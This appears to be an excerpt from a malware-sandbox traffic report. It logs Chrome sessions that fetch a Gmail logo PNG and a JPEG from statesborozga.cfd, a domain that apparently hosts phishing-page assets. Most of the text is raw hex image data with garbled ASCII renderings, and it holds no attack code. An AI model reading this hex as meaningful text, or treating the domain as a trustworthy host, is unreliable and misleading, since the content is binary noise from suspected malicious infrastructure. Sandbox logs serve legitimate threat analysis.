2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49763	172.67.137.170	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:03 UTC	364	OUT	GET /Proten/images/gmail.png HTTP/1.1 Host: statesborozga.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:03 UTC	658	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:03 GMT Content-Type: image/png Content-Length: 66743 Connection: close Last-Modified: Mon, 13 Jan 2020 22:06:14 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AwOFuw1p8ufMUXkctXotNNnFlRx0TZDDBO1JmLVuwBdmiu3OGsfFfbJyljdqBuZ756MpjhF4bgfj96IxEc9qXwY1ocsuTt7Xy6d8m4Fzm72JTGe0L14%2FYoAzL0NcFNiOJ239aw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875fd891eadc78c8-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:03 UTC	711	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 05 00 08 06 00 00 00 18 e4 ff f7 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 b8 8c 00 00 b8 8c 01 cc f6 bb 2f 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 7b 78 9c 75 9d f7 f1 cf ef 9e 49 d2 73 53 0a a5 39 51 28 05 85 4a a1 4c 26 c9 24 05 83 56 7c 10 10 05 ba e2 09 1f c5 23 ae 0a 22 a2 ac b2 5a 77 d1 65 45 51 76 f5 51 f1 84 c8 aa 55 14 41 5d 39 56 68 9b a4 49 38 da aa a0 14 48 32 29 60 a1 85 a6 cd 69 ee ef f3 07 07 29 f4 90 c3 cc fc 66 ee 79 bf bc b8 d4 b4 4c de 70 75 9a cc a7 bf 7b 6e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRsBIT\|dpHYs/tEXtSoftwarewww.inkscape.org< IDATx{xuIsS9Q(JL&$V\|#"ZweEQvQUA]9VhI8H2)`i)fyLpu{n
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: e0 06 25 ed 7c f6 6f 0c 07 9c 73 c3 16 6a 9b 0b 6c d4 42 b7 cd 05 1a 56 26 18 90 73 3b 62 f1 cc 50 66 67 f8 f4 d0 cc cc e8 21 ab ef d9 3a c9 7f 35 00 00 00 98 24 06 40 00 00 80 49 30 c9 3d ba 6c 59 e5 14 0d cd c9 8c 86 95 61 10 ab 0c 42 ab 34 67 95 e6 dc 9c 20 54 a5 39 57 69 66 95 ce a9 52 cf ff 6f a9 52 d2 74 27 cd 30 a9 cc f7 3f 47 2e 39 69 c4 a4 ed 92 06 4c da ea 9c db 2a b3 ad 26 f7 94 73 e1 56 67 6e 6b 68 6e eb 0b ff 3b 70 5b 83 30 b3 35 16 0f b6 0e aa e2 a9 83 d6 ac d9 ea 24 f3 fd cf 01 00 00 50 ac 18 00 01 00 00 5e 22 9d 48 4c 8b 4d 0d e6 8f 84 ee 40 a7 70 9e 93 3b 30 34 1d e8 e4 e6 39 d9 81 26 1d 28 69 9e 9e fd ef 39 9e 73 4b c5 93 92 3d 26 b9 27 24 6d 96 b3 c7 cc dc 13 81 d3 66 0b ed 31 0b 82 27 e2 a3 da 1c 66 32 8f 55 77 77 ef f0 1d 0b 00 00 50 Data Ascii: %\|osjlBV&s;bPfg!:5$@I0=lYaB4g T9WifRoRt'0?G.9iL*&sVgnkhn;p[05$P^"HLM@p;049&(i9sK=&'$mf1'f2UwwP
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 00 00 e4 d0 b3 77 eb 7d 28 65 2e 38 45 ce de 28 b9 23 7c 37 01 40 81 d8 64 d2 cd ce 74 e3 d6 67 76 fc 9e bb 0b 03 00 90 3b 0c 80 00 00 64 59 6f 43 c3 5c c5 f4 1a 49 a7 06 b2 37 72 f3 0e 00 d8 a7 01 49 b7 3b a7 1b 86 63 e1 0d 07 df d9 dd ef 3b 08 00 80 28 61 00 04 00 20 0b 1e 5b 96 5c 98 c9 e8 54 93 4e 91 d4 2a 29 ee 39 09 00 8a 55 28 a7 bb 25 77 a3 cb b8 1b b8 b3 30 00 00 93 c7 00 08 00 c0 04 6c 58 bc b8 7c ce ac 69 af 31 d3 a9 72 3a 45 d2 41 be 9b 00 20 9a dc 23 92 dd e8 e4 6e 78 ea e9 81 db b9 54 18 00 80 f1 63 00 04 00 60 8c 36 b5 b6 4e 29 1f 1c 78 9d 39 9d e2 a4 37 4b 3a c0 77 13 00 94 98 ad 4e ba 39 94 bb 31 3e 30 f8 8b f9 f7 dd 37 e0 3b 08 00 80 62 c0 00 08 00 c0 5e f4 a4 52 53 03 1b 5d 6e ce ad 70 b2 d3 24 cd f2 dd 04 00 90 24 ed 94 74 ab c9 ad 9a Data Ascii: w}(e.8E(#\|7@dtgv;dYoC\I7rI;c;(a [\TN*)9U(%w0lX\|i1r:EA #nxTc`6N)x97K:wN91>07;b^RS]np$$t
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 7b f4 84 9c fb 46 68 b1 af d7 b5 b5 3d e9 3b 06 00 50 78 18 00 01 00 bb 78 ac b1 f1 c0 d1 98 7d c8 99 9d 67 d2 6c df 3d 00 00 60 ac dc 76 99 7d cf 2c f8 cf da 8e 8e 5e df 35 00 80 c2 c1 00 08 00 90 f4 c2 1d 7d 3f 2a a7 f7 4b 9a e2 bb 07 00 00 4c d8 b0 c9 fd 34 b0 e0 8b dc 39 18 00 20 31 00 02 40 c9 4b 37 25 8e 0d 5d ec 3c 27 7b 9b b8 a3 2f 00 00 51 12 4a fa ad 39 77 69 ed ba f5 6d be 63 00 00 fe 30 00 02 40 89 ea 69 aa 6f 8d 39 f7 af 26 b5 fa 6e 01 00 00 39 77 9b 73 fa 7c f5 ba ce 3b 7c 87 00 00 f2 8f 01 10 00 4a 4c ba 31 b1 cc 82 e0 73 92 5e eb bb 05 00 00 e4 dd 5a 99 fe a3 a6 bd f3 06 df 21 00 80 fc 61 00 04 80 12 f1 dc f0 f7 79 49 af f1 dd 02 00 00 bc 63 08 04 80 12 c2 00 08 00 11 97 6e 4c 2c 93 73 2b cd b9 13 7c b7 00 00 80 82 c3 10 08 00 25 80 01 10 Data Ascii: {Fh=;Pxx}gl=`v},^5}?*KL49 1@K7%]<'{/QJ9wimc0@io9&n9ws\|;\|JL1s^Z!ayIcnL,s+\|%
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 00 a0 50 30 00 02 80 a4 f4 b2 c4 41 96 09 fe 5b d2 29 be 5b 00 00 00 90 0d ee 7a 0b dd 3f d7 76 74 f4 fa 2e 01 00 df 02 df 01 00 e0 93 49 2e dd 9c 7c bf 65 82 3f 8a f1 0f 00 00 20 42 ec 34 17 84 1b d2 a9 e4 c7 8c d7 be 00 4a 1c 27 00 01 94 ac cd 0d 0d 87 64 62 f6 1d 49 af f5 dd 02 00 00 80 9c ba 33 0c 83 73 ea 3a 3a 1e f4 1d 02 00 3e f0 a7 20 00 4a ce f3 a7 fe 32 31 dd 27 c6 3f 00 00 80 52 70 5c 10 84 f7 f4 35 37 5c c4 69 40 00 a5 88 13 80 00 4a ca a3 cd 89 43 e3 16 5c 65 52 ab ef 16 00 00 00 78 b1 56 81 9d 53 b3 b6 eb 2f be 43 00 20 5f 18 00 01 94 04 93 82 fe e6 e4 7b cd f4 15 49 d3 7d f7 00 00 00 c0 ab 9d 72 ee f3 d5 35 0b be ec 56 ad ca f8 8e 01 80 5c 63 00 04 10 79 fd 2d c9 c5 16 ea 7b 26 35 f8 6e 01 00 00 40 01 31 b5 3b c5 de 53 dd de fe 27 df 29 00 Data Ascii: P0A[)[z?vt.I.\|e? B4J'dbI3s::> J21'?Rp\57\i@JC\eRxVS/C _{I}r5V\cy-{&5n@1;S')
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: c8 0d d3 e1 e6 32 ed 7d cd f5 a7 f9 4e 01 50 bc 18 00 01 8c db f3 ef f7 17 84 ee 06 49 95 be 7b 00 00 00 80 88 9b 25 73 bf ec 6b 6e f8 9c 71 25 1f 80 09 e0 37 0e 00 e3 f2 78 eb e2 19 a3 43 d3 bf 6f b2 33 7d b7 00 00 00 00 25 e8 67 b1 81 a1 f7 cc bf ef be 01 df 21 00 8a 07 03 20 80 31 7b b4 39 71 68 60 c1 af 9c f4 2a df 2d 00 00 00 40 e9 b2 fb 62 99 e0 4d f3 d7 af df e4 bb 04 40 71 e0 12 60 00 63 d2 9f 4a be 3a 66 41 1b e3 1f 00 00 00 e0 9b 5b 92 89 59 67 5f 53 72 b9 ef 12 00 c5 81 01 10 c0 3e f5 36 d5 9f 1f 4a b7 4a 3a c0 77 0b 00 00 00 00 49 d2 5c 39 fd ae af a9 e1 23 be 43 00 14 3e 2e 01 06 b0 47 d6 da 1a 4f 0f 0d 5c 21 e9 c3 be 5b 00 00 00 00 ec 9e 49 df de 3c 1c fe 73 7d 77 f7 88 ef 16 00 85 89 01 10 c0 6e 3d d1 d2 32 73 24 33 f2 13 73 f6 06 df 2d 00 Data Ascii: 2}NPI{%sknq%7xCo3}%g! 1{9qh`*-@bM@q`cJ:fA[Yg_Sr>6JJ:wI\9#C>.GO\![I<s}wn=2s$3s-
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: c6 e9 b1 98 b3 e5 f3 d7 75 fd d1 77 08 80 7f e0 3d 00 81 02 92 6e 6a 3a 42 0a 6e 13 e3 1f 00 00 00 80 e2 74 60 c6 dc ad 3d a9 c4 51 be 43 00 fc 03 27 00 81 02 d1 db 9c 3c c6 49 37 cb b4 bf ef 16 00 00 00 00 98 a4 a7 02 a7 d7 57 ad eb ec f4 1d 02 80 13 80 40 41 48 37 25 8e 75 a6 5b 18 ff 00 00 00 00 44 c4 9c d0 74 53 4f 53 a2 d1 77 08 00 06 40 c0 bb 74 4b 43 bd b9 e0 66 49 73 7d b7 00 00 00 00 40 16 55 c6 5c f0 fb de e6 86 94 ef 10 a0 d4 71 09 30 e0 51 6f 73 43 ca 99 fd 5e d2 4c df 2d 00 00 00 00 90 23 4f 5b 10 bc be 76 6d 47 bb ef 10 a0 54 31 00 02 9e f4 a5 ea 97 4a ee 56 49 73 7c b7 00 00 00 00 40 2e 39 69 9b 73 7a 1d ef 09 08 f8 c1 25 c0 80 07 bd cb 1a 8e 96 dc 2d 62 fc 03 00 00 00 50 02 4c 9a 1d 9a 6e 4a 37 36 26 7c b7 00 a5 88 13 80 40 9e f5 a4 12 47 Data Ascii: uw=nj:Bnt`=QC'<I7W@AH7%u[DtSOSw@tKCfIs}@U\q0QosC^L-#O[vmGT1JVIs\|@.9isz%-bPLnJ76&\|@G
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 10 c0 17 06 40 94 ac 74 63 62 99 05 c1 2d 92 2a 7c b7 00 00 00 00 00 72 6a 38 90 4e ac 6a eb fc 83 ef 10 c0 07 06 40 94 a4 cd 0d 0d 87 64 62 d6 21 e9 00 df 2d 00 00 00 00 80 3c 70 fa 7b 68 99 54 5d db 5d 7f f5 9d 02 e4 1b ef 01 88 92 b3 a5 b1 71 56 26 66 37 88 f1 0f 00 00 00 00 4a 87 69 ff 40 c1 af 37 b5 1e 53 e9 3b 05 c8 37 06 40 94 94 ae 44 a2 6c 30 08 7f 21 69 b1 ef 16 00 00 00 00 40 be b9 23 ca 87 ca 7e 62 ad ad 71 df 25 40 3e 31 00 a2 a4 54 57 04 5f 93 b4 dc 77 07 00 00 00 00 c0 9b d7 a7 07 07 be e1 3b 02 c8 27 06 40 94 8c de a6 fa f3 cd f4 21 df 1d 00 00 00 00 00 cf 9c de d7 97 aa ff 67 df 19 40 be 70 13 10 94 84 be a6 e4 72 39 fd af a4 98 ef 16 00 00 00 00 40 41 c8 38 b9 93 ab db d6 ff de 77 08 90 6b 0c 80 88 bc fe a6 a6 83 c3 20 d3 29 d3 fe be 5b Data Ascii: @tcb-*\|rj8Nj@db!-<p{hT]]qV&f7Ji@7S;7@Dl0!i@#~bq%@>1TW_w;'@!g@pr9@A8wk )[
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 00 c6 8b 91 20 27 46 2d 08 8e ab 5d db d1 ee 3b 04 a5 8b 13 80 f0 66 f3 92 25 d3 e5 82 1f 88 f1 2f 6b f8 93 3c 00 00 00 00 93 c1 6b 8a 9c 88 07 61 78 cd e3 ad 8b 67 f8 0e 41 e9 8a fb 0e 40 e9 ca 4c 2f ff 9a 64 8b 7c 77 14 b3 62 fd a2 5c ac dd 00 00 00 40 36 14 cb 29 bb 97 7e df 5e 2c dd 85 c8 a4 43 47 06 a7 fd 87 a4 0f fb 6e 41 69 e2 f9 0b 2f fa 9a ea df 28 e7 ae f7 dd 51 8c 0a 6d 3c 2b b4 1e 00 00 00 20 8a 0a ed c5 7b a1 f5 14 09 0b 03 3b a5 6e 6d d7 6f 7d 87 a0 f4 f0 9c 45 de a5 13 89 fd ad 3c b8 5f d2 7c df 2d c5 c4 e7 d0 c6 c8 07 00 00 00 14 2e 9f 2f ec 19 15 c6 c7 49 fd 61 c6 1d 55 bb 7e fd 16 df 2d 28 2d bc 07 20 f2 af 3c f6 4d 31 fe 8d 49 be df 7f 63 77 77 05 63 fc 03 00 00 00 0a 9b cf ef e3 79 dd 30 3e 26 55 b9 98 7d c7 77 07 4a 0f 63 3d f2 aa af Data Ascii: 'F-];f%/k<kaxgA@L/d\|wb\@6)~^,CGnAi/(Qm<+ {;nmo}E<_\|-./IaU~-(- <M1Icwwcy0>&U}wJc=
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 26 54 71 d8 61 13 f8 6c 7b 16 6e bc 5f 83 9f b9 40 f6 f4 b6 ac 3e 2e 00 00 00 50 cc dc 8c 99 aa 58 79 99 62 4b 8e cd ea e3 0e 3d f0 80 76 de d5 ad c1 ee 6e 0d dd 7b b7 ec e9 a7 ff f1 39 b3 3c 08 4e f6 54 20 23 e0 be b8 f7 d6 b4 ad ff ae ef 0a 14 bf d2 78 be 20 a7 d2 cb 12 07 59 26 f8 a3 a4 99 be 5b 72 69 a2 e3 df d8 2e b5 cd de 89 bf b1 8e 7e b1 43 0e d1 b4 e6 e3 34 fd f8 e3 35 65 c9 92 9c df b6 2c 7c f8 21 0d 5e 7c be ec f1 cd 39 fd 3c 00 00 00 40 31 70 73 f7 d7 94 4b bf aa e0 d0 c3 73 fb 89 cc 34 78 ef bd 1a b8 f3 0e ed 5c b7 46 a3 9b 36 fd a3 21 8b 63 e0 64 4f 04 4e f4 d5 48 09 8c 1a 5b 43 c5 5f 55 d7 d6 d6 e7 3b 04 c5 ad 04 9e 2b c8 b5 be e6 e4 f5 32 bd d1 77 47 ae f8 3a f5 97 ad e1 6f 97 d1 af ee 20 4d 7b 75 ab 66 9e 7c ca b3 97 f4 e6 99 6d f9 bb 06 Data Ascii: &Tqal{n_@>.PXybK=vn{9<NT #x Y&[ri.~C45e,\|!^\|9<@1psKs4x\F6!cdONH[C_U;+2wG:o M{uf\|m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49764	172.67.137.170	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:03 UTC	360	OUT	GET /Proten/images/8.jpg HTTP/1.1 Host: statesborozga.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:03 UTC	670	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:03 GMT Content-Type: image/jpeg Content-Length: 161118 Connection: close Last-Modified: Tue, 21 Jan 2020 13:41:42 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F24gwYkAiI7Jb9nm2iiLUm0HS4w0P2qP9NpoEruxD8rAOXLWburQmGs1beGq0FI16qP7cFYxrfi9nFoEXVNmjoVFeClRUYy%2BimoJaAb8byP%2Fe7V7c%2FX8NOxRGrW0g77La%2F%2FqVw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875fd891fe361373-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:03 UTC	699	IN	Data Raw: ff d8 ff e1 0c af 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 04 b0 00 00 01 01 00 03 00 00 00 01 02 c5 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 22 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d6 87 69 00 04 00 00 00 01 00 00 00 ec 00 00 01 24 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 30 3a 30 31 3a 32 31 20 31 33 3a 34 31 3a 34 32 00 00 00 00 04 90 00 00 07 00 Data Ascii: ExifMM*(1"2i$''Adobe Photoshop CC 2015 (Windows)2020:01:21 13:41:42
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 34 72 82 d1 43 07 25 92 53 f0 e1 f1 63 73 35 16 a2 b2 83 26 44 93 54 64 45 c2 a3 74 36 17 d2 55 e2 65 f2 b3 84 c3 d3 75 e3 f3 46 27 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 37 47 57 67 77 87 97 a7 b7 c7 d7 e7 f7 11 00 02 02 01 02 04 04 03 04 05 06 07 07 06 05 35 01 00 02 11 03 21 31 12 04 41 51 61 71 22 13 05 32 81 91 14 a1 b1 42 23 c1 52 d1 f0 33 24 62 e1 72 82 92 43 53 15 63 73 34 f1 25 06 16 a2 b2 83 07 26 35 c2 d2 44 93 54 a3 17 64 45 55 36 74 65 e2 f2 b3 84 c3 d3 75 e3 f3 46 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 27 37 47 57 67 77 87 97 a7 b7 c7 ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 f4 c8 12 f6 87 c9 71 81 10 4b 4a 47 1e d3 78 b3 d5 22 b0 cd a6 a8 10 5d fe 92 54 58 d6 0b Data Ascii: 4rC%Scs5&DTdEt6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw?qKJGx"]TX
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: e5 df 49 35 4e 9a 49 24 92 90 59 fc fb 50 cb 87 bc 8c 8d be e8 d6 34 3f bb ee 53 b0 fe b0 c1 13 3d fc 34 4c 05 b2 f9 a5 87 dd ed d7 91 fb ce d1 34 df 14 7e aa 62 5d a6 99 60 1f 18 6f 0a a7 57 cc 6f d8 33 b1 bd 3b 0f ea b6 9f 5b 6f e8 ff 00 9b 73 bf 9c 57 d8 d2 e9 f5 2a 6b 07 6e 0f f0 55 fa ce 9d 1b 3c 0e 06 35 da 7f 61 c9 e2 ba 85 17 ff d2 f4 f7 fd 26 7f 59 19 05 ff 00 49 9f d6 46 49 4a 59 2c c8 e8 b7 e6 ba a9 71 c9 2f 2d 2d 3e a0 f7 0f a5 b7 f3 16 b2 c7 7d ac 19 16 7d 01 2e 70 83 6b db af f5 76 6d 6a 4a 6f 8e 9f 88 04 6c d3 fa ce ff 00 c9 22 d5 4d 74 b4 b6 b1 00 99 22 49 d4 ff 00 59 64 36 f0 c6 c4 d7 b6 00 68 37 d9 33 fb bf 45 3c b9 b3 5c 06 90 d0 e8 37 59 c7 d2 f6 bb 6a 49 af 2f b5 da 49 62 32 f6 80 1a 0d 6e 70 10 1e eb ac 26 4f d2 1f 41 45 cf 63 81 0d Data Ascii: I5NI$YP4?S=4L4~b]`oWo3;[osW*knU<5a&YIFIJY,q/-->}}.pkvmjJol"Mt"IYd6h73E<\7YjI/Ib2np&OAEc
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 69 6e 74 65 72 4e 61 6d 65 54 45 58 54 00 00 00 01 00 00 00 00 00 0f 70 72 69 6e 74 50 72 6f 6f 66 53 65 74 75 70 4f 62 6a 63 00 00 00 0c 00 50 00 72 00 6f 00 6f 00 66 00 20 00 53 00 65 00 74 00 75 00 70 00 00 00 00 00 0a 70 72 6f 6f 66 53 65 74 75 70 00 00 00 01 00 00 00 00 42 6c 74 6e 65 6e 75 6d 00 00 00 0c 62 75 69 6c 74 69 6e 50 72 6f 6f 66 00 00 00 09 70 72 6f 6f 66 43 4d 59 4b 00 38 42 49 4d 04 3b 00 00 00 00 02 2d 00 00 00 10 00 00 00 01 00 00 00 00 00 12 70 72 69 6e 74 4f 75 74 70 75 74 4f 70 74 69 6f 6e 73 00 00 00 17 00 00 00 00 43 70 74 6e 62 6f 6f 6c 00 00 00 00 00 43 6c 62 72 62 6f 6f 6c 00 00 00 00 00 52 67 73 4d 62 6f 6f 6c 00 00 00 00 00 43 72 6e 43 62 6f 6f 6c 00 00 00 00 00 43 6e 74 43 62 6f 6f 6c 00 00 00 00 00 4c 62 6c 73 62 6f 6f 6c Data Ascii: interNameTEXTprintProofSetupObjcProof SetupproofSetupBltnenumbuiltinProofproofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsbool
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 00 00 00 00 00 07 67 72 6f 75 70 49 44 6c 6f 6e 67 00 00 00 00 00 00 00 06 6f 72 69 67 69 6e 65 6e 75 6d 00 00 00 0c 45 53 6c 69 63 65 4f 72 69 67 69 6e 00 00 00 0d 61 75 74 6f 47 65 6e 65 72 61 74 65 64 00 00 00 00 54 79 70 65 65 6e 75 6d 00 00 00 0a 45 53 6c 69 63 65 54 79 70 65 00 00 00 00 49 6d 67 20 00 00 00 06 62 6f 75 6e 64 73 4f 62 6a 63 00 00 00 01 00 00 00 00 00 00 52 63 74 31 00 00 00 04 00 00 00 00 54 6f 70 20 6c 6f 6e 67 00 00 00 00 00 00 00 00 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 00 42 74 6f 6d 6c 6f 6e 67 00 00 02 86 00 00 00 00 52 67 68 74 6c 6f 6e 67 00 00 04 b0 00 00 00 03 75 72 6c 54 45 58 54 00 00 00 01 00 00 00 00 00 00 6e 75 6c 6c 54 45 58 54 00 00 00 01 00 00 00 00 00 00 4d 73 67 65 54 45 58 54 00 00 00 01 00 00 00 00 00 06 Data Ascii: groupIDlongoriginenumESliceOriginautoGeneratedTypeenumESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongRghtlongurlTEXTnullTEXTMsgeTEXT
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 24 94 84 55 60 b9 cf 2e 06 b2 d0 1b 5c 70 7f 7b 72 9e df 20 a6 92 4a 42 5e c0 ff 00 4c b7 dd f0 d1 4a 07 87 e0 ab 92 4e 7b 87 6d ad 84 e3 23 19 c6 cd 48 2c 76 d7 c8 3c fc 92 55 1d fb 34 ba c7 4b cf ce b2 b7 62 65 9c 66 b1 ae 6b 98 24 02 4f 16 4d 7f ba b3 ad e8 bd 53 13 13 37 23 23 38 dd 48 c4 bc 3a 99 73 83 89 ad d1 fc e7 d1 da ba 3a ef ad c7 65 64 e8 27 82 04 7c 4a af d6 49 3d 1f 3f ff 00 0b 5d ff 00 50 e5 28 cf 31 0e 0d 38 6a be 58 de be 2c 67 0c 0c b8 f5 bd f7 2f ff d0 f4 dd 8e 63 c1 73 cb f7 d9 20 1f cd 1f b8 d5 61 05 ff 00 49 9f d6 46 49 4a 59 ce c5 ca f5 2c 35 87 34 38 92 26 d3 07 fb 31 ec 5a 2b 